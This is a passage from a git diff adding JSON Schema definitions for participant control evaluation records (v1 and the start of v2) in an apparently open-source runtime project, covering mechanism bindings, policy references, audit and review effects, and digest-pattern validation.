"#/$defs/ControlArtifactReferenceModel" + }, + "profiles": { + "items": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "maxItems": 256, + "minItems": 1, + "title": "Profiles", + "type": "array" + }, + "protocol_revision": { + "const": "participant-control-provider/v1", + "title": "Protocol Revision", + "type": "string" + } + }, + "required": [ + "instance_id", + "profiles", + "mechanism", + "protocol_revision", + "implementation", + "configuration_digest", + "authority", + "memory_scope", + "applicability", + "evidence", + "limitations" + ], + "title": "ControlMechanismBindingModel", + "type": "object" + }, + "ControlMechanismResultModel": { + "additionalProperties": false, + "properties": { + "binding_digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Binding Digest", + "type": "string" + }, + "context_digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Context Digest", + "type": "string" + }, + "evidence": { + "items": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "maxItems": 256, + "minItems": 1, + "title": "Evidence", + "type": "array" + }, + "instance_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Instance Id", + "type": "string" + }, + "next_provider_state": { + "anyOf": [ + { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + { + "type": "null" + } + ] + }, + "payload": { + "anyOf": [ + { + "discriminator": { + "mapping": { + "advisory": "#/$defs/ControlAdvisoryModel", + "decision": "#/$defs/ControlDecisionModel", + "effect-request": "#/$defs/ControlEffectRequestModel", + "ifc-fact": { + "discriminator": { + "mapping": { + "sem-233/rev1": "#/$defs/ControlSecurityFactModel", + "teaching-influence-domain/rev1": "#/$defs/ControlTeachingFactModel" + }, + "propertyName": "domain" + }, + "oneOf": [ + { + "$ref": "#/$defs/ControlTeachingFactModel" + }, + { + "$ref": "#/$defs/ControlSecurityFactModel" + } + ] + } + }, + "propertyName": "kind" + }, + "oneOf": [ + { + "discriminator": { + "mapping": { + "sem-233/rev1": "#/$defs/ControlSecurityFactModel", + "teaching-influence-domain/rev1": "#/$defs/ControlTeachingFactModel" + }, + "propertyName": "domain" + }, + "oneOf": [ + { + "$ref": "#/$defs/ControlTeachingFactModel" + }, + { + "$ref": "#/$defs/ControlSecurityFactModel" + } + ] + }, + { + "$ref": "#/$defs/ControlDecisionModel" + }, + { + "$ref": "#/$defs/ControlAdvisoryModel" + }, + { + "$ref": "#/$defs/ControlEffectRequestModel" + } + ] + }, + { + "type": "null" + } + ], + "title": "Payload" + }, + "result_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Result Id", + "type": "string" + }, + "slot_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Slot Id", + "type": "string" + }, + "status": { + "enum": [ + "resolved", + "missing", + "unknown", + "unsupported", + "stale", + "failed", + "weakened" + ], + "title": "Status", + "type": "string" + } + }, + "required": [ + "result_id", + "slot_id", + "instance_id", + "binding_digest", + "context_digest", + "status", + "payload", + "evidence", + "next_provider_state" + ], + "title": "ControlMechanismResultModel", + "type": "object" + }, + "ControlPolicyReferenceModel": { + "additionalProperties": false, + "properties": { + "decision_cut_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Decision Cut Ref", + "type": "string" + }, + "effective_order": { + "maximum": 1000000, + "minimum": 0, + "title": "Effective Order", + "type": "integer" + }, + "policy_decision_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Policy Decision Ref", + "type": "string" + }, + "policy_digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Policy Digest", + "type": "string" + }, + "policy_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Policy Id", + "type": "string" + }, + "policy_revision": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Policy Revision", + "type": "string" + }, + "valid_from_order": { + "maximum": 1000000, + "minimum": 0, + "title": "Valid From Order", + "type": "integer" + }, + "valid_until_order": { + "maximum": 1000000, + "minimum": 0, + "title": "Valid Until Order", + "type": "integer" + } + }, + "required": [ + "policy_id", + "policy_revision", + "policy_digest", + "policy_decision_ref", + "decision_cut_ref", + "effective_order", + "valid_from_order", + "valid_until_order" + ], + "title": "ControlPolicyReferenceModel", + "type": "object" + }, + "ControlPriorEffectClaimModel": { + "additionalProperties": false, + "description": "A retained logical claim, authenticated through the admitted context.", + "properties": { + "content_digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Content Digest", + "type": "string" + }, + "effect_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Effect Id", + "type": "string" + }, + "key": { + "$ref": "#/$defs/ControlLogicalEffectKeyModel" + } + }, + "required": [ + "effect_id", + "key", + "content_digest" + ], + "title": "ControlPriorEffectClaimModel", + "type": "object" + }, + "ControlProviderStateModel": { + "additionalProperties": false, + "properties": { + "instance_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Instance Id", + "type": "string" + }, + "state": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + } + }, + "required": [ + "instance_id", + "state" + ], + "title": "ControlProviderStateModel", + "type": "object" + }, + "ControlRealizationBindingModel": { + "additionalProperties": false, + "description": "An out-of-line owner outcome, never a provider result or permission.", + "properties": { + "disposition": { + "enum": [ + "applied", + "failed", + "indeterminate", + "unsupported", + "withheld" + ], + "title": "Disposition", + "type": "string" + }, + "effect_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Effect Id", + "type": "string" + }, + "evidence": { + "items": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "maxItems": 256, + "minItems": 1, + "title": "Evidence", + "type": "array" + }, + "receipt": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + } + }, + "required": [ + "effect_id", + "disposition", + "receipt", + "evidence" + ], + "title": "ControlRealizationBindingModel", + "type": "object" + }, + "ControlResultSlotModel": { + "additionalProperties": false, + "properties": { + "dependencies": { + "items": { + "$ref": "#/$defs/ControlSlotDependencyModel" + }, + "maxItems": 256, + "title": "Dependencies", + "type": "array" + }, + "instance_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Instance Id", + "type": "string" + }, + "kind": { + "enum": [ + "ifc-fact", + "decision", + "advisory", + "effect-request" + ], + "title": "Kind", + "type": "string" + }, + "role": { + "enum": [ + "mandatory", + "advisory" + ], + "title": "Role", + "type": "string" + }, + "slot_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Slot Id", + "type": "string" + } + }, + "required": [ + "slot_id", + "instance_id", + "kind", + "role", + "dependencies" + ], + "title": "ControlResultSlotModel", + "type": "object" + }, + "ControlReviewEffectModel": { + "additionalProperties": false, + "properties": { + "approval_ref": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "clock": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "denial_ref": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "expiry_order": { + "maximum": 1000000, + "minimum": 0, + "title": "Expiry Order", + "type": "integer" + }, + "kind": { + "const": "request-review", + "title": "Kind", + "type": "string" + }, + "obligation_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Obligation Ref", + "type": "string" + }, + "parent": { + "$ref": "#/$defs/ControlSubjectReferenceModel" + }, + "resumption_policy": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "supervisor_authority": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + } + }, + "required": [ + "kind", + "parent", + "obligation_ref", + "supervisor_authority", + "approval_ref", + "denial_ref", + "clock", + "expiry_order", + "resumption_policy" + ], + "title": "ControlReviewEffectModel", + "type": "object" + }, + "ControlRuleFiringsModel": { + "additionalProperties": false, + "properties": { + "firing_epochs": { + "items": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "type": "string" + }, + "maxItems": 256, + "title": "Firing Epochs", + "type": "array" + }, + "rule_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Rule Id", + "type": "string" + }, + "rule_revision": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Rule Revision", + "type": "string" + } + }, + "required": [ + "rule_id", + "rule_revision", + "firing_epochs" + ], + "title": "ControlRuleFiringsModel", + "type": "object" + }, + "ControlSecurityFactModel": { + "additionalProperties": false, + "description": "Reference the exact incumbent SEM-233 label and owning relation.", + "properties": { + "domain": { + "const": "sem-233/rev1", + "title": "Domain", + "type": "string" + }, + "kind": { + "const": "ifc-fact", + "title": "Kind", + "type": "string" + }, + "label_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Label Ref", + "type": "string" + }, + "relation": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + } + }, + "required": [ + "kind", + "domain", + "relation", + "label_ref" + ], + "title": "ControlSecurityFactModel", + "type": "object" + }, + "ControlSequenceCutModel": { + "additionalProperties": false, + "properties": { + "anchor_event_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Anchor Event Ref", + "type": "string" + }, + "anchor_order": { + "maximum": 1000000, + "minimum": 0, + "title": "Anchor Order", + "type": "integer" + }, + "cut_kind": { + "const": "sequence_prefix", + "title": "Cut Kind", + "type": "string" + }, + "cut_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Cut Ref", + "type": "string" + }, + "history_domain": { + "enum": [ + "participant_episode_lifecycle", + "participant_behavior_history" + ], + "title": "History Domain", + "type": "string" + }, + "history_prefix_length": { + "maximum": 1000001, + "minimum": 1, + "title": "History Prefix Length", + "type": "integer" + }, + "order_model": { + "enum": [ + "control_plane_order", + "backend_serialized_order", + "behavior_history_order" + ], + "title": "Order Model", + "type": "string" + }, + "predecessor_event_refs": { + "default": [], + "items": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "type": "string" + }, + "maxItems": 256, + "title": "Predecessor Event Refs", + "type": "array" + } + }, + "required": [ + "cut_kind", + "cut_ref", + "history_domain", + "order_model", + "anchor_event_ref", + "anchor_order", + "history_prefix_length" + ], + "title": "ControlSequenceCutModel", + "type": "object" + }, + "ControlSlotDependencyModel": { + "additionalProperties": false, + "properties": { + "kind": { + "enum": [ + "ifc-fact", + "decision", + "advisory", + "effect-request" + ], + "title": "Kind", + "type": "string" + }, + "slot_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Slot Id", + "type": "string" + } + }, + "required": [ + "slot_id", + "kind" + ], + "title": "ControlSlotDependencyModel", + "type": "object" + }, + "ControlSubjectReferenceModel": { + "additionalProperties": false, + "anyOf": [ + { + "properties": { + "subject_revision": { + "type": "string" + } + }, + "required": [ + "subject_revision" + ] + }, + { + "properties": { + "subject_digest": { + "type": "string" + } + }, + "required": [ + "subject_digest" + ] + } + ], + "description": "Frozen specialization of the incumbent crossing subject coordinate.\n\nThe incumbent requires a revision *or* a digest, and a live runtime subject\nis frequently digest-only. Narrowing ``subject_revision`` to mandatory would\nmake the crossing occurrence this context names inexpressible, so the\nspecialization bounds the coordinate without adding a requirement the owner\ndoes not impose.", + "properties": { + "contract_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Contract Id", + "type": "string" + }, + "episode_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Episode Id", + "type": "string" + }, + "participant_address": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Participant Address", + "type": "string" + }, + "subject_digest": { + "anyOf": [ + { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Subject Digest" + }, + "subject_kind": { + "$ref": "#/$defs/ParticipantCrossingSubjectKind" + }, + "subject_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Subject Ref", + "type": "string" + }, + "subject_revision": { + "anyOf": [ + { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Subject Revision" + } + }, + "required": [ + "subject_kind", + "contract_id", + "subject_ref", + "participant_address", + "episode_id" + ], + "title": "ControlSubjectReferenceModel", + "type": "object" + }, + "ControlTeachingFactModel": { + "additionalProperties": false, + "properties": { + "domain": { + "const": "teaching-influence-domain/rev1", + "title": "Domain", + "type": "string" + }, + "kind": { + "const": "ifc-fact", + "title": "Kind", + "type": "string" + }, + "source_refs": { + "items": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "maxItems": 256, + "minItems": 1, + "title": "Source Refs", + "type": "array" + }, + "tokens": { + "items": { + "enum": [ + "coached-hint", + "worked-example" + ], + "type": "string" + }, + "maxItems": 2, + "title": "Tokens", + "type": "array" + } + }, + "required": [ + "kind", + "domain", + "tokens", + "source_refs" + ], + "title": "ControlTeachingFactModel", + "type": "object" + }, + "ControlTransformationEffectModel": { + "additionalProperties": false, + "properties": { + "admission_policy": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "destination_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Destination Ref", + "type": "string" + }, + "kind": { + "enum": [ + "transform", + "mask", + "route" + ], + "title": "Kind", + "type": "string" + }, + "result": { + "$ref": "#/$defs/ControlSubjectReferenceModel" + }, + "source": { + "$ref": "#/$defs/ControlSubjectReferenceModel" + }, + "transformation": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + } + }, + "required": [ + "kind", + "transformation", + "source", + "result", + "destination_ref", + "admission_policy" + ], + "title": "ControlTransformationEffectModel", + "type": "object" + }, + "ParticipantControlContextModel": { + "additionalProperties": false, + "description": "MPC-03 exact context. No private state, prompt, or native handle.", + "properties": { + "apparatus": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "attempt": { + "maximum": 1000000, + "minimum": 1, + "title": "Attempt", + "type": "integer" + }, + "audience_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Audience Ref", + "type": "string" + }, + "authority": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "clock": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "controller_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Controller Ref", + "type": "string" + }, + "crossing": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "depth": { + "maximum": 1000000, + "minimum": 0, + "title": "Depth", + "type": "integer" + }, + "destination_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Destination Ref", + "type": "string" + }, + "direction": { + "enum": [ + "ingress", + "egress" + ], + "title": "Direction", + "type": "string" + }, + "effects_consumed": { + "maximum": 1000000, + "minimum": 0, + "title": "Effects Consumed", + "type": "integer" + }, + "episode_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Episode Id", + "type": "string" + }, + "expected_history_heads": { + "items": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "maxItems": 256, + "minItems": 1, + "title": "Expected History Heads", + "type": "array" + }, + "inputs": { + "items": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "maxItems": 256, + "title": "Inputs", + "type": "array" + }, + "memory_scope": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "order": { + "maximum": 1000000, + "minimum": 0, + "title": "Order", + "type": "integer" + }, + "participant_address": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Participant Address", + "type": "string" + }, + "phase_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Phase Ref", + "type": "string" + }, + "policy": { + "$ref": "#/$defs/ControlPolicyReferenceModel" + }, + "predecessors": { + "items": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "maxItems": 256, + "title": "Predecessors", + "type": "array" + }, + "prior_effect_claims": { + "items": { + "$ref": "#/$defs/ControlPriorEffectClaimModel" + }, + "maxItems": 256, + "title": "Prior Effect Claims", + "type": "array" + }, + "provider_states": { + "items": { + "$ref": "#/$defs/ControlProviderStateModel" + }, + "maxItems": 64, + "title": "Provider States", + "type": "array" + }, + "rule_firings": { + "items": { + "$ref": "#/$defs/ControlRuleFiringsModel" + }, + "maxItems": 256, + "title": "Rule Firings", + "type": "array" + }, + "run": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "sink_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Sink Ref", + "type": "string" + }, + "state_cut": { + "discriminator": { + "mapping": { + "causal_frontier": "#/$defs/ControlCausalCutModel", + "sequence_prefix": "#/$defs/ControlSequenceCutModel" + }, + "propertyName": "cut_kind" + }, + "oneOf": [ + { + "$ref": "#/$defs/ControlSequenceCutModel" + }, + { + "$ref": "#/$defs/ControlCausalCutModel" + } + ], + "title": "State Cut" + }, + "subject": { + "$ref": "#/$defs/ControlSubjectReferenceModel" + }, + "trigger": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "trigger_root": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Trigger Root", + "type": "string" + } + }, + "required": [ + "run", + "apparatus", + "participant_address", + "episode_id", + "subject", + "crossing", + "direction", + "sink_ref", + "audience_ref", + "destination_ref", + "controller_ref", + "authority", + "policy", + "state_cut", + "expected_history_heads", + "provider_states", + "inputs", + "memory_scope", + "clock", + "order", + "phase_ref", + "trigger_root", + "trigger", + "predecessors", + "depth", + "effects_consumed", + "prior_effect_claims", + "rule_firings", + "attempt" + ], + "title": "ParticipantControlContextModel", + "type": "object" + }, + "ParticipantControlRequestModel": { + "additionalProperties": false, + "properties": { + "context": { + "$ref": "#/$defs/ParticipantControlContextModel" + }, + "selection": { + "$ref": "#/$defs/ParticipantControlSelectionModel" + } + }, + "required": [ + "selection", + "context" + ], + "title": "ParticipantControlRequestModel", + "type": "object" + }, + "ParticipantControlSelectionModel": { + "additionalProperties": false, + "description": "Exact finite selection; this document cannot install a provider.", + "properties": { + "apparatus": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "bindings": { + "items": { + "$ref": "#/$defs/ControlMechanismBindingModel" + }, + "maxItems": 64, + "title": "Bindings", + "type": "array" + }, + "bounds": { + "$ref": "#/$defs/ControlCausalBoundsModel" + }, + "evidence": { + "items": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "maxItems": 256, + "minItems": 1, + "title": "Evidence", + "type": "array" + }, + "required_profiles": { + "items": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "type": "string" + }, + "maxItems": 256, + "title": "Required Profiles", + "type": "array" + }, + "schema_version": { + "const": "participant-control-selection/v1", + "title": "Schema Version", + "type": "string" + }, + "selection_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Selection Id", + "type": "string" + }, + "semantic_revision": { + "const": "sem-235/rev1", + "title": "Semantic Revision", + "type": "string" + }, + "slots": { + "items": { + "$ref": "#/$defs/ControlResultSlotModel" + }, + "maxItems": 256, + "title": "Slots", + "type": "array" + } + }, + "required": [ + "schema_version", + "selection_id", + "semantic_revision", + "apparatus", + "required_profiles", + "bindings", + "slots", + "bounds", + "evidence" + ], + "title": "ParticipantControlSelectionModel", + "type": "object" + }, + "ParticipantCrossingSubjectKind": { + "description": "Closed typed references to incumbent participant and evidence carriers.", + "enum": [ + "participant-control-occurrence", + "participant-action-contract", + "participant-action-admission", + "participant-action-attempt", + "participant-action-result", + "participant-lifecycle-event", + "participant-observation", + "participant-decision-surface", + "participant-exposure", + "participant-inject-delivery", + "participant-context-view", + "participant-history-view", + "participant-status-view", + "experiment-evidence" + ], + "title": "ParticipantCrossingSubjectKind", + "type": "string" + } + }, + "$id": "https://openrae.github.io/rae/schemas/participant-control-evaluation-v1.json", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": false, + "description": "Complete contributor record. Eligibility is not authorization or dispatch.", + "properties": { + "composition": { + "$ref": "#/$defs/ControlCompositionModel" + }, + "evaluation_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Evaluation Id", + "type": "string" + }, + "realizations": { + "items": { + "$ref": "#/$defs/ControlRealizationBindingModel" + }, + "maxItems": 256, + "title": "Realizations", + "type": "array" + }, + "request": { + "$ref": "#/$defs/ParticipantControlRequestModel" + }, + "results": { + "items": { + "$ref": "#/$defs/ControlMechanismResultModel" + }, + "maxItems": 256, + "title": "Results", + "type": "array" + }, + "schema_version": { + "const": "participant-control-evaluation/v1", + "title": "Schema Version", + "type": "string" + }, + "support": { + "items": { + "$ref": "#/$defs/ControlEffectiveSupportModel" + }, + "maxItems": 64, + "title": "Support", + "type": "array" + } + }, + "required": [ + "schema_version", + "evaluation_id", + "request", + "results", + "support", + "composition", + "realizations" + ], + "title": "ParticipantControlEvaluationModel", + "type": "object", + "x-raes-invariants": [ + { + "description": "Validate closed selection dependencies and exact trusted evaluation context; structural validity is not execution authority.", + "id": "participant-control-resolved-context", + "inputs": [ + { + "contract_id": "participant-control-evaluation-v1", + "instance_path": "#" + } + ], + "level": "error", + "validator": "raes_contracts.contracts.validate_participant_control_resolved_context" + } + ], + "x-raes-plane": "processor_backend_operational_observability", + "x-raes-semantic-profile": { + "contract_id": "participant-control-evaluation-v1", + "entry_schema_contract_id": "raes-semantic-invariants-v1", + "entry_schema_pointer": "#/$defs/RaesSemanticInvariantEntryModel", + "id": "raes-semantic-invariants-v1", + "keyword": "x-raes-invariants", + "required": true, + "uri": "https://openrae.github.io/rae/schemas/semantic-invariants/v1" + } +} diff --git a/contracts/schemas/participant-runtime/participant-control-evaluation-v2.json b/contracts/schemas/participant-runtime/participant-control-evaluation-v2.json new file mode 100644 index 000000000..f7e532dca --- /dev/null +++ b/contracts/schemas/participant-runtime/participant-control-evaluation-v2.json @@ -0,0 +1,3157 @@ +{ + "$defs": { + "ControlAdvisoryModel": { + "additionalProperties": false, + "properties": { + "assessment": { + "enum": [ + "positive", + "negative", + "abstain" + ], + "title": "Assessment", + "type": "string" + }, + "kind": { + "const": "advisory", + "title": "Kind", + "type": "string" + }, + "sample": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "score": { + "maximum": 1, + "minimum": 0, + "title": "Score", + "type": "number" + } + }, + "required": [ + "kind", + "assessment", + "score", + "sample" + ], + "title": "ControlAdvisoryModel", + "type": "object" + }, + "ControlApplicabilityModel": { + "additionalProperties": false, + "properties": { + "direction": { + "enum": [ + "ingress", + "egress" + ], + "title": "Direction", + "type": "string" + }, + "episode_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Episode Id", + "type": "string" + }, + "participant_address": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Participant Address", + "type": "string" + }, + "phase_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Phase Ref", + "type": "string" + }, + "sink_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Sink Ref", + "type": "string" + }, + "subject_kind": { + "$ref": "#/$defs/ParticipantCrossingSubjectKind" + } + }, + "required": [ + "participant_address", + "episode_id", + "direction", + "sink_ref", + "phase_ref", + "subject_kind" + ], + "title": "ControlApplicabilityModel", + "type": "object" + }, + "ControlApplicabilityV2Model": { + "additionalProperties": false, + "properties": { + "applicable_slot_ids": { + "items": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "type": "string" + }, + "maxItems": 256, + "title": "Applicable Slot Ids", + "type": "array" + }, + "context_digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Context Digest", + "type": "string" + }, + "coverage": { + "items": { + "$ref": "#/$defs/ControlObligationCoverageV2Model" + }, + "maxItems": 256, + "title": "Coverage", + "type": "array" + }, + "derivation_evidence": { + "items": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "maxItems": 256, + "minItems": 1, + "title": "Derivation Evidence", + "type": "array" + }, + "required_slot_ids": { + "items": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "type": "string" + }, + "maxItems": 256, + "title": "Required Slot Ids", + "type": "array" + }, + "selection_digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Selection Digest", + "type": "string" + } + }, + "required": [ + "selection_digest", + "context_digest", + "applicable_slot_ids", + "required_slot_ids", + "coverage", + "derivation_evidence" + ], + "title": "ControlApplicabilityV2Model", + "type": "object" + }, + "ControlArtifactReferenceModel": { + "additionalProperties": false, + "description": "Exact out-of-line artifact coordinate, not an artifact/evidence payload.", + "properties": { + "digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Digest", + "type": "string" + }, + "kind": { + "enum": [ + "profile", + "mechanism", + "implementation", + "authority", + "evidence", + "limitation", + "memory", + "apparatus", + "run", + "crossing", + "history", + "provider-state", + "input", + "clock", + "trigger", + "rule", + "inject-delivery", + "disclosure", + "manifest", + "installation", + "control", + "transformation", + "action", + "lifecycle", + "audit", + "receipt", + "projection", + "policy", + "constraint", + "flow-relation" + ], + "title": "Kind", + "type": "string" + }, + "ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Ref", + "type": "string" + }, + "revision": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Revision", + "type": "string" + } + }, + "required": [ + "kind", + "ref", + "revision", + "digest" + ], + "title": "ControlArtifactReferenceModel", + "type": "object" + }, + "ControlAuditEffectModel": { + "additionalProperties": false, + "properties": { + "audience_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Audience Ref", + "type": "string" + }, + "audit_record": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "kind": { + "const": "audit", + "title": "Kind", + "type": "string" + }, + "retention_policy": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "subject": { + "$ref": "#/$defs/ControlSubjectReferenceModel" + } + }, + "required": [ + "kind", + "subject", + "audit_record", + "audience_ref", + "retention_policy" + ], + "title": "ControlAuditEffectModel", + "type": "object" + }, + "ControlCausalBoundsModel": { + "additionalProperties": false, + "properties": { + "expires_at_order": { + "maximum": 1000000, + "minimum": 0, + "title": "Expires At Order", + "type": "integer" + }, + "max_attempts": { + "maximum": 1000000, + "minimum": 0, + "title": "Max Attempts", + 